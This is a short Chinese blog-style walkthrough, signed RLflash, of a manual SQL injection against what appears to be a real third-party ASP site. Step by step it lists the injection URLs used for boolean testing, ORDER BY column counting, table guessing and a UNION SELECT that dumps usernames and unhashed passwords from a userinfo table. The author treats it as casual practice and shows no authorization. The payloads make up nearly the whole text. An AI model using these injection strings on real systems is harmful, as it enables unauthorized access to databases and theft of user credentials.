...gong.com/about.asp?dd=613' //出错
再来
...gong.com/about.asp?dd=613 and 1=1 //正常
...gong.com/about.asp?dd=613 and 1=2//出错
目测一个注入点
猜字段数
...gong.com/about.asp?dd=613 order by 1 //正常
...gong.com/about.asp?dd=613 order by 19 //正常
从1加到19正常,到20出错,说明字段数为19(当然不可能真的从1到19一个一个的去试,用二分法的思路去试,省出来的时间又可以和妹子聊上两句了)
...gong.com/about.asp?dd=613 order by 20 //出错
来猜表名(遗憾的是没猜出来,用工具跑出来了)
...gong.com/about.asp?dd=613 and exists(select * from userinfo)//正常,说明存在这个表
再来猜字段
..gong.com/about.asp?dd=613 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from userinfo //页面出来两个数字 13和17
再把13和17用猜的字段代替
..gong.com/about.asp?dd=613 union select 1,2,3,4,5,6,7,8,9,10,11,12,username,14,15,16,password,18,19 from userinfo
用户名和密码爆出来了,密码7位,没有md5加密
找出后台登录就行
猜了几个后台地址都不对,拿工具跑吧
..gong.com/conn.asp //200
打开一看页面空白,应该被人弄过了,这次无聊加以复习心态的一次手工注入就到这结束
如有不对的地方,请多多指教! ——RLflash